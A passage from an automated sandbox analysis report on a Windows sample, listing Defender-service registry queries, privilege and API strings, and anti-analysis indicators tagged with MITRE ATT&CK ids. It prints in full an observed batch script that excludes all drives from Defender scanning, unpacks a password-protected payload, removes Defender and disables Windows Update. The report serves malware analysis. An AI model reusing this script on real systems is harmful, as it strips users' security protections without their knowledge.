00000000-00003832) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MDCoreSvc"" (UID: 00000000-00007648) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdNisSvc"" (UID: 00000000-00004344) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\Sense"" (UID: 00000000-00001868) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\wscsvc"" (UID: 00000000-00007872) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SgrmBroker"" (UID: 00000000-00008048) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SecurityHealthService"" (UID: 00000000-00005344) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\webthreatdefsvc"" (UID: 00000000-00007780) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\webthreatdefusersvc"" (UID: 00000000-00007420) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdNisDrv"" (UID: 00000000-00003600) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdBoot"" (UID: 00000000-00007840) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdFilter"" (UID: 00000000-00007044) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SgrmAgent"" (UID: 00000000-00007728) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecWfp"" (UID: 00000000-00004300) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecFlt"" (UID: 00000000-00005036) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecCore"" (UID: 00000000-00003936) Process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion" /v "ProductName"" (UID: 00000000-00007684) Process "reg.exe" with commandline "reg query HKLM\\System\\CurrentControlset\\Services\\WdFilter" (UID: 00000000-00002344) Process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows Defender"" (UID: 00000000-00004780)68:T448,Found string "OpenProcessToken" (Indicator: "OpenProcess"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") file/memory contains long string with (Indicator: "OpenProcess"; File: "nircmd.exe") Found string "ZwOpenProcess" (Indicator: "OpenProcess"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp")69:Tade,Found string "\DosDevices\IObitUnlockerDevice" (Indicator: "\DosDevices\"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found string "\Device\HarddiskVolume1\unlocker.log" (Indicator: "\Device\"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found string "\Device\HarddiskDmVolumes\" (Indicator: "\Device\"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found string "d:\worker\huoqi\zhanghaitaosvn\project\driver\other\iobitunlocker\unlocker\driver\bin\Win7\i386\IObitUnlocker.pdb" (Indicator: "\driver\"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found string "\Device\HarddiskVolume2\Windows\SysWOW64\tasklist.exe" (Indicator: "\Device\"; Source: "00000000-00001836.00000000.170350.00BF0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\SysWOW64\reg.exe" (Indicator: "\Device\"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found string "ystem32\drivers\wd\WdNisDrv.sys" (Indicator: "\drivers\"; Source: "00000000-00003600.00000000.173742.031C0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\SysWOW64\reg.exe" (Indicator: "\Device\"; Source: "00000000-00003832.00000000.170822.00C90000.00000004.mdmp") Found string "WS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004448.00000000.168926.02940000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\SysWOW64\reg.exe" (Indicator: "\Device\"; Source: "00000000-00004780.00000000.176713.00710000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004944.00000000.177380.00550000.00000004.mdmp, 00000000-00004944.00000001.179300.00550000.00000004.mdmp, 00000000-00004944.00000002.180064.00550000.00000004.mdmp") Found string "\DosDevices\IObitUnlockerDevice" (Indicator: "\DosDevices\"; Source: "00000000-00004944.00000000.177380.00DC2000.00000080.mdmp, 00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found string "\Device\IObitUnlockerDevice" (Indicator: "\Device\"; Source: "00000000-00004944.00000000.177380.00DC2000.00000080.mdmp, 00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found string "\Device\HarddiskVolume1\unlocker.log" (Indicator: "\Device\"; Source: "00000000-00004944.00000000.177380.00DC2000.00000080.mdmp, 00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found string "\DosDevices\C:" (Indicator: "\DosDevices\"; Source: "00000000-00004944.00000000.177380.00DC2000.00000080.mdmp, 00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found string "\Device\HarddiskDmVolumes\" (Indicator: "\Device\"; Source: "00000000-00004944.00000000.177380.00DC2000.00000080.mdmp, 00000000-00004944.00000002.180064.00DC3000.00000080.mdmp")6a:T1203,Observed string: "cd /d "%~dp0saked"nircmd win min process "cmd.exe":Startchcp 65001 >nulColor 0fset "SCRIPT_RUNNING_FLAG=%TEMP%\script_running_%RANDOM%.tmp"if exist "%SCRIPT_RUNNING_FLAG%" exit /becho.> "%SCRIPT_RUNNING_FLAG%"set "Arch=" & set "ArgNsudo=" & set "MainFolder1=" & set "MainFolder2=" & set "ProcList=" & set "NumberWin="SetLocal EnableDelayedExpansioncd /d "%~dp0saked"set "Arch=x64" & (If "%PROCESSOR_ARCHITECTURE%"=="x86" if not defined PROCESSOR_ARCHITEW6432 set Arch=x86)reg query "HKU\S-1-5-19" >nul 2>&1 || ( nircmd elevate "%~f0" del "%SCRIPT_RUNNING_FLAG%" 2>nul exitif defined WT_SESSION ( reg add "HKCU\Console\%%%%Startup" /v "DelegationConsole" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nul reg add "HKCU\Console\%%%%Startup" /v "DelegationTerminal" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f >nul 2>&1set "Version=15.0"set "DateProgram=28.03.25"Mode 79,49for /f "tokens=4 delims=[] " %%v in ('ver') do set "NumberWin=%%v"reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" | find /i "0x0" >nul 2>&1 && set "ArgNsudo=C" || set "ArgNsudo=E"for /f "skip=3 tokens=1" %%a in ('tasklist') do set "ProcList=!ProcList! %%a "for %%p in (SmartScreen MsMpEng SgrmBroker MsSense NisSrv MpCmdRun MPSigStub SecurityHealthSystray SecurityHealthService SecurityHealthHost MpDefenderCoreService) do (if "!ProcList!"=="!ProcList:%%p.exe =!" (set "%%~pP=0a") else (set "%%~pP=0c"))set "ListWDServ=WinDefend MDCoreSvc WdNisSvc Sense wscsvc SgrmBroker SecurityHealthService webthreatdefsvc webthreatdefusersvc WdNisDrv WdBoot WdFilter SgrmAgent MsSecWfp MsSecFlt MsSecCore"for %%x in (%ListWDServ%) do reg query "HKLM\System\CurrentControlSet\Services\%%~x" >nul 2>&1 && set "%%~x=0c" || set "%%~x=0a"if exist "%AllUsersProfile%\Microsoft\Windows Defender" (set "MainFolder1=04") else (set "MainFolder1=0a")if exist "%SystemDrive%\Program Files\Windows Defender" (set "MainFolder2=04") else (set "MainFolder2=0a")set PathTask=%SystemRoot%\System32\Tasks\Microsoft\Windows\Windows Defenderif not exist "%PathTask%\Windows Defender Cache Maintenance" (set "Maintenance=0a") else (set "Maintenance=0c")if not exist "%PathTask%\Windows Defender Scheduled Scan" (set "Scan=0a") else (set "Scan=0c")if not exist "%PathTask%\Windows Defender Verification" (set "Verification=0a") else (set "Verification=0c")if not exist "%PathTask%\Windows Defender Cleanup" (set "Cleanup=0a") else (set "Cleanup=0c"):StartProcessRemovever | findstr /c:"6.1.7601" >nul 2>&1 && goto :SkipUnlockerreg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName" | find /i "Windows 7" >nul 2>&1 && goto :SkipUnlockerreg query HKLM\System\CurrentControlset\Services\WdFilter >nul 2>&1 && reg query "HKLM\Software\Microsoft\Windows Defender" >nul 2>&1 && ( reg query "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths" | find /i "%SystemDrive%\" >nul 2>&1 || ( NSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "[System.IO.DriveInfo]^::GetDrives^(^) ^| ForEach-Object { Add-MpPreference -ExclusionPath $_.Name }^; Start-Sleep -Milliseconds 1000" >nul 2>&1 )set "a=7"set "b=z" set "c=x"set "d=-aoa"set "e=-bso0"set "f=-bsp1"set "g=same.zip"set "h=stucha"set "i=mika.exe"%a%%b% %c% %d% %e% %f% "%g%" -p"%h%" "%i%" >nul%i% /CurrentDiskSize:StartUnlockerAndSkipBackupfor %%S in (wuauserv dosvc bits UsoSvc WaaSMedicSvc) do ( sc stop %%S >nul 2>&1 sc config %%S start= disabled >nul 2>&1reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f >nul 2>&1reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f >nul 2>&1reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEMreg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /freg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /freg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /freg unload HKLM\TEMP_SYSTEMset "DEFENDER_REMOVED_FLAG=%TEMP%\defender_removed.flag"if not exist "%DEFENDER_REMOVED_FLAG%" ( taskkill /f /im mika.exe >nul 2>&1 start "" /min mika.exe /DelWD echo.> "%DEFENDER_REMOVED_FLAG%"del "%SCRIPT_RUNNING_FLAG%" 2>nulexit /b" (Indicator: ""del ") in Source: WBjrl129w.bat6b:Tf1f,Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; File: "00000000-00001836.00000000.170350.011F1000.00000020.mdmp") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; File: "00000000-00003832.00000000.170822.01011000.00000020.mdmp") Found reference to API "LookupPrivilegeValue" (Indicator: "LookupPrivilegeValue"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00001836.00000000.170350.00BF0000.00000004.mdmp, 00000000-00001836.00000000.170350.011F1000.00000020.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonatePrivilege"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonate"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found reference to API "SeLoadDriverPrivilege" (Indicator: "SeLoadDriverPrivilege"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonatePrivilege"; Source: "00000000-00003832.00000000.170822.00C90000.00000004.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonate"; Source: "00000000-00003832.00000000.170822.00C90000.00000004.mdmp") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00003832.00000000.170822.00C90000.00000004.mdmp, 00000000-00003832.00000000.170822.01011000.00000020.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00003832.00000000.170822.00C90000.00000004.mdmp") Found reference to API "SeLoadDriverPrivilege" (Indicator: "SeLoadDriverPrivilege"; Source: "00000000-00003832.00000000.170822.00C90000.00000004.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00003832.00000000.170822.00C90000.00000004.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp")6c:T625,Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; File: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "GetFileSecurityW" (Indicator: "GetFileSecurityW"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; Source: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp, 00000000-00003136.00000000.180392.00EBF000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp")6d:T50a,Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "ZwTerminateProcess" (Indicator: "ZwTerminateProcess"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found reference to API "ZwTerminateProcess" (Indicator: "TerminateProcess"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003136.00000000.180392.00EBF000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp")6e:Tfad,Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "SeCreateSymbolicLinkPrivilege" (Indicator: "SeCreateSymbolicLinkPrivilege"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "SeLockMemoryPrivilege" (Indicator: "SeLockMemoryPrivilege"; File: "00000000-00000328.00000000.177045.00FE1000.00000020.mdmp") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; Source: "00000000-00000328.00000000.177045.00E10000.00000004.mdmp, 00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "SeLockMemoryPrivilege" (Indicator: "SeLockMemoryPrivilege"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "SeCreateSymbolicLinkPrivilege" (Indicator: "SeCreateSymbolicLinkPrivilege"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "SeAuditPrivilege" (Indicator: "SeAuditPrivilege"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found reference to API "SeChangeNotifyPrivilege" (Indicator: "SeChangeNotifyPrivilege"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found reference to API "SeCreateGlobalPrivilege" (Indicator: "SeCreateGlobalPrivilege"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found reference to API "SeCreatePagefilePrivilege" (Indicator: "SeCreatePagefilePrivilege"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found reference to API "SeCreatePermanentPrivilege" (Indicator: "SeCreatePermanentPrivilege"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found reference to API "SeIncreaseBasePriorityPrivilege" (Indicator: "SeIncreaseBasePriorityPrivilege"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found reference to API "SeLockMemoryPrivilege" (Indicator: "SeLockMemoryPrivilege"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found reference to API "SeProfileSingleProcessPrivilege" (Indicator: "SeProfileSingleProcessPrivilege"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found reference to API "SeTcbPrivilege" (Indicator: "SeTcbPrivilege"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00001868.00000000.171794.00E50000.00000004.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00003832.00000000.170822.00C90000.00000004.mdmp, 00000000-00003832.00000000.170822.01011000.00000020.mdmp") Found reference to API "SeChangeNotifyPrivilege" (Indicator: "SeChangeNotifyPrivilege"; Source: "00000000-00003832.00000000.170822.00C90000.00000004.mdmp") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; Source: "00000000-00003832.00000000.170822.00C90000.00000004.mdmp") Found reference to API "SeIncreaseQuotaPrivilege" (Indicator: "SeIncreaseQuotaPrivilege"; Source: "00000000-00003832.00000000.170822.00C90000.00000004.mdmp") Found reference to API "SeAssignPrimaryTokenPrivilege" (Indicator: "SeAssignPrimaryTokenPrivilege"; Source: "00000000-00003832.00000000.170822.00C90000.00000004.mdmp") Found reference to API "SeTcbPrivilege" (Indicator: "SeTcbPrivilege"; Source: "00000000-00003832.00000000.170822.00C90000.00000004.mdmp")6f:Tcba,"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00004944.00000000.177380.00550000.00000004.mdmp, 00000000-00004944.00000001.179300.00550000.00000004.mdmp, 00000000-00004944.00000002.180064.00550000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00000328.00000000.177045.01091000.00000002.mdmp\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00004448.00000000.168926.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"RC2a\" (Indicator: \"RC2\"; Source: \"00000000-00000328.00000000.177045.01091000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00001836.00000000.170350.047B0000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00004944.00000000.177380.00DC2000.00000080.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00004944.00000002.180064.00DC3000.00000080.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\DISPLAY%s; Source: \"00000000-00004448.00000000.168926.40017000.00000002.mdmp\")\n Found string - \\\\.\\LCD; Source: \"00000000-00004448.00000000.168926.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"tasklist.exe\" loaded module \"%WINDIR%\\SysWOW64\\dbghelp.dll\" at 73250000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$29","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2a","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Spawns Windows crash diagnostic and reporting process","description":"Process \"WerFault.exe\" [UID: 00000000-00008180]\n Process \"WerFault.exe\" [UID: 00000000-00003364]\n Process \"WerFault.exe\" [UID: 00000000-00005536]\n Process \"WerFault.exe\" [UID: 00000000-00000500]","origin":"Monitored Target","mitre_attack_id":"T1564","relevance":1,"id":"target-585","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"7z.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001836-33301-112-011FEFF0\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001836-33301-117-011FEDA4\n SetUnhandledExceptionFilter@KERNELBASE.DLL at 00000000-00003136-41393-29-00EB6100\n SetUnhandledExceptionFilter@KERNELBASE.DLL at 00000000-00003136-41393-32-00EB5EB0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API GetLargePageMinimum@KERNEL32.DLL at 00000000-00000328-36466-445-010696B0\n Found reference to API RtlGetVersion@NTDLL.DLL at 00000000-00000328-36466-1290-00FE979E\n Found reference to API GlobalMemoryStatusEx@KERNEL32.DLL at 00000000-00000328-36466-1314-00FEA196\n Found reference to API GetNativeSystemInfo@KERNEL32.DLL at 00000000-00000328-36466-1320-00FEA31B\n Found reference to API RtlGetVersion@NTDLL.DLL at 00000000-00000328-36466-1337-00FEAA6F","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"69832338a2c11168bb0fb401"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptBinaryToStringW\" (Indicator: \"CryptBinaryToStringW\"; File: \"00000000-00003136.00000000.180392.00EB1000.00000020.mdmp\")\n Found api 